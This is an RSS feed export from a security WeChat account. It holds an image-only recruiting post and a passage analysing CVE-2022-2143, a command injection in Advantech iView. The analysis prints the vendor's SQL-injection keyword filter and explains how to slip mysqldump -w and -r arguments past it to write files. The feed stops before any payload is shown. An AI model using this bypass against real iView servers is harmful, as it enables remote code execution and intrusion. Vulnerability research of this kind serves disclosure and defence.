<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/">
  <channel>
    <title>ChaBug</title>
    <link>https://wechat2rss.xlab.app/feed/b801577ef970fa6a877911dfd37a7c9ca681d66a.xml</link>
    <description>一个分享知识、结识伙伴、资源共享的公众号。&#xA;(wechat feed made by @ttttmr https://wechat2rss.xlab.app)</description>
    <managingEditor> (ChaBug)</managingEditor>
    <image>
      <url>https://wx.qlogo.cn/mmhead/Q3auHgzwzM5O4oG2V6b5Gls709mCfcjulybSQB49RqODmXwl4HUeTA/0</url>
      <title>ChaBug</title>
      <link>https://wechat2rss.xlab.app/feed/b801577ef970fa6a877911dfd37a7c9ca681d66a.xml</link>
    </image>
    <item>
      <title>招人，老板不差钱，速度来一起办公</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzU0ODg2MDA0NQ==&amp;mid=2247486372&amp;idx=1&amp;sn=41e5e5b7c51bdf3ee91c386f7bd19a79</link>
      <description></description>
      <content:encoded><![CDATA[<p>
<span></span> <span>2025-03-21 21:15</span> <span style="display: inline-block;">河南</span>
</p>

<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=2cc42c73&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FzleycDibFeibrPUyscAumrYBKsa3B4ojRHibiaKH6DAN9GnJyEIyZGFt39bnmuR6TA9asbibH9PibAgYAsxibvqLcXHIQ%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section><section style="display: inline-block;"><img data-ratio="0.6740994854202401" data-w="1166" data-type="jpg" src="https://wechat2rss.xlab.app/img-proxy/?k=4208c40b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FzleycDibFeibrPUyscAumrYBKsa3B4ojRHhjpd6uDkb5Pe3IGklZ3w9IbXZEeKTE16W9acvnK18ZFLmCbXWibTu7w%2F640%3Fwx_fmt%3Djpeg"/></section></section><section><section style="display: inline-block;"><img data-ratio="0.7747899159663866" data-w="1190" data-type="jpg" src="https://wechat2rss.xlab.app/img-proxy/?k=84c35c7e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FzleycDibFeibrPUyscAumrYBKsa3B4ojRHXJlV8TLoV05qEy2VZ5RqOussxp9KNV57b4GoovQ7wq9UWQg5wVHnGQ%2F640%3Fwx_fmt%3Djpeg"/></section></section><p><br/></p><section><section style="display: inline-block;"><img data-ratio="1.3518005540166205" data-w="1083" data-type="jpg" src="https://wechat2rss.xlab.app/img-proxy/?k=e5480fd1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FzleycDibFeibrPUyscAumrYBKsa3B4ojRHpalnQjcicKFza0tPvs6WB6v70jNIBF1LcZNfqV48ib6ic201icliaNibRKmA%2F640%3Fwx_fmt%3Djpeg"/></section></section><p><br/></p><p style="display: none;"><mp-style-type data-value="10000"></mp-style-type></p>



<p><a href="2247486372">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=acac45e6&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzU0ODg2MDA0NQ%3D%3D%26mid%3D2247486372%26idx%3D1%26sn%3D41e5e5b7c51bdf3ee91c386f7bd19a79%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 21 Mar 2025 21:15:00 +0800</pubDate>
    </item>
    <item>
      <title>CVE-2022-2143 Advantech iView NetworkServlet 命令注入RCE</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzU0ODg2MDA0NQ==&amp;mid=2247486367&amp;idx=1&amp;sn=0304ee0aa286b24f68a0ef1901187750</link>
      <description>调用关系查询MATCH (n:Class{NAME:&#39;javax.servlet.http.HttpServ</description>
      <content:encoded><![CDATA[<p>
原创 <span>ChaBug</span> <span>2022-07-06 14:54</span> <span style="display: inline-block;">新加坡</span>
</p>

<p>调用关系查询MATCH (n:Class{NAME:'javax.servlet.http.HttpServ</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=21b0407f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FzleycDibFeibqy0Dicofkq6X8m55x6ES6ROzN1iaaUzAsibta84Jfd8hx8XOicG0Gst9tDCnBrcaAHFgQRFAmrLK6O4Q%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<h1 style="box-sizing: border-box;margin: 2em auto 1em;padding: 0px 1em;font-weight: bold;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: center;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;display: table;border-bottom: 1px solid rgb(248, 57, 41);">调用关系查询</h1><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="css"><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">MATCH</span> (<span class="code-snippet__selector-tag">n</span><span class="code-snippet__selector-pseudo">:Class</span>{<span class="code-snippet__attribute">NAME</span>:<span class="code-snippet__string">&#39;javax.servlet.http.HttpServlet&#39;</span>})<span class="code-snippet__selector-tag">-</span><span class="code-snippet__selector-attr">[:EXTEND]</span><span class="code-snippet__selector-tag">-</span>(<span class="code-snippet__selector-tag">c</span><span class="code-snippet__selector-pseudo">:Class)-</span><span class="code-snippet__selector-attr">[:HAS]</span><span class="code-snippet__selector-tag">-</span>&gt;(<span class="code-snippet__selector-tag">m</span><span class="code-snippet__selector-pseudo">:Method)-</span><span class="code-snippet__selector-attr">[:CALL*2]</span><span class="code-snippet__selector-tag">-</span>(<span class="code-snippet__selector-tag">m1</span><span class="code-snippet__selector-pseudo">:Method</span>{<span class="code-snippet__attribute">NAME</span>:<span class="code-snippet__string">&#39;exec&#39;</span>,CLASS_NAME:<span class="code-snippet__string">&#39;java.lang.Runtime&#39;</span>}) <span class="code-snippet__selector-tag">return</span> *</span></code></pre></section><figure style="box-sizing: border-box;margin: 1.5em 8px;padding: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;"><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.5148148148148148" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=6b735a16&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FzleycDibFeibqy0Dicofkq6X8m55x6ES6ROh1LNYryhibFofkZKzyGicO5NXW1zI46TmT9Iia0gexZI9saDUZfpCLbow%2F640%3Fwx_fmt%3Dpng"/></p></figure><h1 style="box-sizing: border-box;margin: 2em auto 1em;padding: 0px 1em;font-weight: bold;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: center;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;display: table;border-bottom: 1px solid rgb(248, 57, 41);">分析</h1><p style="box-sizing: border-box;margin: 1.5em 8px;padding: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;"><code style="box-sizing: border-box;margin: 0px;padding: 3px 5px;text-align: left;color: rgb(221, 17, 68);line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-size: 13.5px;background: rgba(27, 31, 35, 0.05);border-radius: 4px;white-space: normal;">com.imc.iview.network.NetworkServlet#doPost</code></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-backh="286" data-backw="578" data-galleryid="" data-ratio="0.49444444444444446" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=e06ee47e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FzleycDibFeibqy0Dicofkq6X8m55x6ES6RObrGRT49EHBkfvNrQSgDiaHk40OdNlBxR1Jdb3kUTJsVjtG69DGflhBQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;margin: 1.5em 8px;padding: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;">两次校验</p><p style="box-sizing: border-box;margin: 1.5em 8px;padding: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;"><code style="box-sizing: border-box;margin: 0px;padding: 3px 5px;text-align: left;color: rgb(221, 17, 68);line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-size: 13.5px;background: rgba(27, 31, 35, 0.05);border-radius: 4px;white-space: normal;">com.imc.iview.utils.CUtils#checkFileNameIncludePath(java.lang.String)</code><img class="rich_pages wxw-img" data-backh="187" data-backw="562" data-galleryid="" data-ratio="0.3333333333333333" data-s="300,640" style="text-align: center;letter-spacing: normal;width: 100%;height: auto;" data-type="png" data-w="1062" src="https://wechat2rss.xlab.app/img-proxy/?k=17388ebb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FzleycDibFeibqy0Dicofkq6X8m55x6ES6ROSLMF9VnFI0o22IHjialf9wT10eGBa8L1ico2F9ybG05b6tyfg8WxgRLA%2F640%3Fwx_fmt%3Dpng"/></p><figure style="box-sizing: border-box;margin: 1.5em 8px;padding: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;"><figcaption style="box-sizing: border-box;margin: 0px;padding: 0px;text-align: center;color: rgb(136, 136, 136);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;">image.png</figcaption></figure><p style="box-sizing: border-box;margin: 1.5em 8px;padding: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;">检验<code style="box-sizing: border-box;margin: 0px;padding: 3px 5px;text-align: left;color: rgb(221, 17, 68);line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-size: 13.5px;background: rgba(27, 31, 35, 0.05);border-radius: 4px;white-space: normal;">\webapps\</code>防止写shell</p><p style="box-sizing: border-box;margin: 1.5em 8px;padding: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;"><code style="box-sizing: border-box;margin: 0px;padding: 3px 5px;text-align: left;color: rgb(221, 17, 68);line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-size: 13.5px;background: rgba(27, 31, 35, 0.05);border-radius: 4px;white-space: normal;">com.imc.iview.utils.CUtils#checkSQLInjection</code>检测了一些关键字。</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="swift"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">public</span> boolean checkSQLInjection(<span class="code-snippet__type">String</span> model0) {</span></code><code><span class="code-snippet_outer">    boolean result = <span class="code-snippet__literal">false</span>;</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__type">String</span> model = model0.toLowerCase();</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">if</span> (!model.<span class="code-snippet__built_in">contains</span>(<span class="code-snippet__string">&#34; or &#34;</span>) &amp;&amp; !model.<span class="code-snippet__built_in">contains</span>(<span class="code-snippet__string">&#34;&#39;or &#34;</span>) &amp;&amp; !model.<span class="code-snippet__built_in">contains</span>(<span class="code-snippet__string">&#34;||&#34;</span>) &amp;&amp; !model.<span class="code-snippet__built_in">contains</span>(<span class="code-snippet__string">&#34;==&#34;</span>) &amp;&amp; !model.<span class="code-snippet__built_in">contains</span>(<span class="code-snippet__string">&#34;--&#34;</span>)) {</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">if</span> (model.<span class="code-snippet__built_in">contains</span>(<span class="code-snippet__string">&#34;union&#34;</span>) &amp;&amp; model.<span class="code-snippet__built_in">contains</span>(<span class="code-snippet__string">&#34;select&#34;</span>)) {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">if</span> (this.checkCommentStr(model, <span class="code-snippet__string">&#34;union&#34;</span>, <span class="code-snippet__string">&#34;select&#34;</span>)) {</span></code><code><span class="code-snippet_outer">                result = <span class="code-snippet__literal">true</span>;</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer">        } <span class="code-snippet__keyword">else</span> <span class="code-snippet__keyword">if</span> (model.<span class="code-snippet__built_in">contains</span>(<span class="code-snippet__string">&#34;case&#34;</span>) &amp;&amp; model.<span class="code-snippet__built_in">contains</span>(<span class="code-snippet__string">&#34;when&#34;</span>)) {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">if</span> (this.checkCommentStr(model, <span class="code-snippet__string">&#34;case&#34;</span>, <span class="code-snippet__string">&#34;when&#34;</span>)) {</span></code><code><span class="code-snippet_outer">                result = <span class="code-snippet__literal">true</span>;</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer">        } <span class="code-snippet__keyword">else</span> <span class="code-snippet__keyword">if</span> (model.<span class="code-snippet__built_in">contains</span>(<span class="code-snippet__string">&#34;into&#34;</span>) &amp;&amp; model.<span class="code-snippet__built_in">contains</span>(<span class="code-snippet__string">&#34;dumpfile&#34;</span>)) {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">if</span> (this.checkCommentStr(model, <span class="code-snippet__string">&#34;into&#34;</span>, <span class="code-snippet__string">&#34;dumpfile&#34;</span>)) {</span></code><code><span class="code-snippet_outer">                result = <span class="code-snippet__literal">true</span>;</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer">        } <span class="code-snippet__keyword">else</span> <span class="code-snippet__keyword">if</span> (model.<span class="code-snippet__built_in">contains</span>(<span class="code-snippet__string">&#34;into&#34;</span>) &amp;&amp; model.<span class="code-snippet__built_in">contains</span>(<span class="code-snippet__string">&#34;outfile&#34;</span>)) {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">if</span> (this.checkCommentStr(model, <span class="code-snippet__string">&#34;into&#34;</span>, <span class="code-snippet__string">&#34;outfile&#34;</span>)) {</span></code><code><span class="code-snippet_outer">                result = <span class="code-snippet__literal">true</span>;</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer">        } <span class="code-snippet__keyword">else</span> <span class="code-snippet__keyword">if</span> (model.<span class="code-snippet__built_in">contains</span>(<span class="code-snippet__string">&#34; where &#34;</span>) &amp;&amp; model.<span class="code-snippet__built_in">contains</span>(<span class="code-snippet__string">&#34;select &#34;</span>)) {</span></code><code><span class="code-snippet_outer">            result = <span class="code-snippet__literal">true</span>;</span></code><code><span class="code-snippet_outer">        } <span class="code-snippet__keyword">else</span> <span class="code-snippet__keyword">if</span> (model.<span class="code-snippet__built_in">contains</span>(<span class="code-snippet__string">&#34;benchmark&#34;</span>)) {</span></code><code><span class="code-snippet_outer">            result = <span class="code-snippet__literal">true</span>;</span></code><code><span class="code-snippet_outer">        } <span class="code-snippet__keyword">else</span> <span class="code-snippet__keyword">if</span> (model.<span class="code-snippet__built_in">contains</span>(<span class="code-snippet__string">&#34;select&#34;</span>) &amp;&amp; model.<span class="code-snippet__built_in">contains</span>(<span class="code-snippet__string">&#34;from&#34;</span>)) {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">if</span> (this.checkCommentStr(model, <span class="code-snippet__string">&#34;select&#34;</span>, <span class="code-snippet__string">&#34;from&#34;</span>)) {</span></code><code><span class="code-snippet_outer">                result = <span class="code-snippet__literal">true</span>;</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer">        } <span class="code-snippet__keyword">else</span> <span class="code-snippet__keyword">if</span> (model.<span class="code-snippet__built_in">contains</span>(<span class="code-snippet__string">&#34;select/*&#34;</span>)) {</span></code><code><span class="code-snippet_outer">            result = <span class="code-snippet__literal">true</span>;</span></code><code><span class="code-snippet_outer">        } <span class="code-snippet__keyword">else</span> <span class="code-snippet__keyword">if</span> (model.<span class="code-snippet__built_in">contains</span>(<span class="code-snippet__string">&#34;delete&#34;</span>) &amp;&amp; model.<span class="code-snippet__built_in">contains</span>(<span class="code-snippet__string">&#34;from&#34;</span>)) {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">if</span> (this.checkCommentStr(model, <span class="code-snippet__string">&#34;delete&#34;</span>, <span class="code-snippet__string">&#34;from&#34;</span>)) {</span></code><code><span class="code-snippet_outer">                result = <span class="code-snippet__literal">true</span>;</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer">        } <span class="code-snippet__keyword">else</span> <span class="code-snippet__keyword">if</span> (model.<span class="code-snippet__built_in">contains</span>(<span class="code-snippet__string">&#34;drop&#34;</span>) &amp;&amp; model.<span class="code-snippet__built_in">contains</span>(<span class="code-snippet__string">&#34;table&#34;</span>) || model.<span class="code-snippet__built_in">contains</span>(<span class="code-snippet__string">&#34;drop&#34;</span>) &amp;&amp; model.<span class="code-snippet__built_in">contains</span>(<span class="code-snippet__string">&#34;database&#34;</span>)) {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">if</span> (this.checkCommentStr(model, <span class="code-snippet__string">&#34;drop&#34;</span>, <span class="code-snippet__string">&#34;table&#34;</span>)) {</span></code><code><span class="code-snippet_outer">                result = <span class="code-snippet__literal">true</span>;</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">if</span> (this.checkCommentStr(model, <span class="code-snippet__string">&#34;drop&#34;</span>, <span class="code-snippet__string">&#34;database&#34;</span>)) {</span></code><code><span class="code-snippet_outer">                result = <span class="code-snippet__literal">true</span>;</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer">        } <span class="code-snippet__keyword">else</span> <span class="code-snippet__keyword">if</span> (!model.<span class="code-snippet__built_in">contains</span>(<span class="code-snippet__string">&#34;sleep(&#34;</span>) &amp;&amp; !model.<span class="code-snippet__built_in">contains</span>(<span class="code-snippet__string">&#34; rlike &#34;</span>) &amp;&amp; !model.<span class="code-snippet__built_in">contains</span>(<span class="code-snippet__string">&#34;rlike(&#34;</span>) &amp;&amp; !model.<span class="code-snippet__built_in">contains</span>(<span class="code-snippet__string">&#34; like &#34;</span>)) {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">if</span> (model.<span class="code-snippet__built_in">startsWith</span>(<span class="code-snippet__string">&#34;&#39;&#34;</span>) &amp;&amp; model.endsWith(<span class="code-snippet__string">&#34;#&#34;</span>) &amp;&amp; model.length() &gt; <span class="code-snippet__number">5</span>) {</span></code><code><span class="code-snippet_outer">                result = <span class="code-snippet__literal">true</span>;</span></code><code><span class="code-snippet_outer">            } <span class="code-snippet__keyword">else</span> <span class="code-snippet__keyword">if</span> ((model.<span class="code-snippet__built_in">startsWith</span>(<span class="code-snippet__string">&#34;9999&#39;&#34;</span>) || model.endsWith(<span class="code-snippet__string">&#34;#9999&#34;</span>) || model.<span class="code-snippet__built_in">contains</span>(<span class="code-snippet__string">&#34;#9999&#34;</span>)) &amp;&amp; model.length() &gt; <span class="code-snippet__number">10</span>) {</span></code><code><span class="code-snippet_outer">                result = <span class="code-snippet__literal">true</span>;</span></code><code><span class="code-snippet_outer">            } <span class="code-snippet__keyword">else</span> <span class="code-snippet__keyword">if</span> (model.<span class="code-snippet__built_in">contains</span>(<span class="code-snippet__string">&#34;getRuntime().exec&#34;</span>) || model.<span class="code-snippet__built_in">contains</span>(<span class="code-snippet__string">&#34;getruntime().exec&#34;</span>) || model.<span class="code-snippet__built_in">contains</span>(<span class="code-snippet__string">&#34;getRuntime()&#34;</span>)) {</span></code><code><span class="code-snippet_outer">                result = <span class="code-snippet__literal">true</span>;</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer">        } <span class="code-snippet__keyword">else</span> {</span></code><code><span class="code-snippet_outer">            result = <span class="code-snippet__literal">true</span>;</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">    } <span class="code-snippet__keyword">else</span> {</span></code><code><span class="code-snippet_outer">        result = <span class="code-snippet__literal">true</span>;</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">if</span> (result) {</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__type">System</span>.out.<span class="code-snippet__built_in">println</span>(<span class="code-snippet__string">&#34;Error: SQL Injection Vulnerability detected in [&#34;</span> + model0 + <span class="code-snippet__string">&#34;]&#34;</span>);</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">return</span> result;</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p style="box-sizing: border-box;margin: 1.5em 8px;padding: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;">那么mysqldump可以拼接<code style="box-sizing: border-box;margin: 0px;padding: 3px 5px;text-align: left;color: rgb(221, 17, 68);line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-size: 13.5px;background: rgba(27, 31, 35, 0.05);border-radius: 4px;white-space: normal;">-w</code>参数将内容写入文件，然后可以多次传递<code style="box-sizing: border-box;margin: 0px;padding: 3px 5px;text-align: left;color: rgb(221, 17, 68);line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-size: 13.5px;background: rgba(27, 31, 35, 0.05);border-radius: 4px;white-space: normal;">-r</code>参数覆盖原有的<code style="box-sizing: border-box;margin: 0px;padding: 3px 5px;text-align: left;color: rgb(221, 17, 68);line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-size: 13.5px;background: rgba(27, 31, 35, 0.05);border-radius: 4px;white-space: normal;">-r</code>文件路径值</p><p style="box-sizing: border-box;margin: 1.5em 8px;padding: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;">正常的命令为</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="cs"><code><span class="code-snippet_outer"><span class="code-snippet__string">&#34;C:\Program Files (x86)\MySQL\MySQL Server 5.1\bin\mysqldump&#34;</span> -hlocalhost -u root -padmin --<span class="code-snippet__keyword">add</span>-drop-database -B iview -r <span class="code-snippet__string">&#34;c:\IMCTrapService\backup\aa&#34;</span></span></code></pre></section><p style="box-sizing: border-box;margin: 1.5em 8px;padding: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;">命令注入构造payload</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="cs"><code><span class="code-snippet_outer"><span 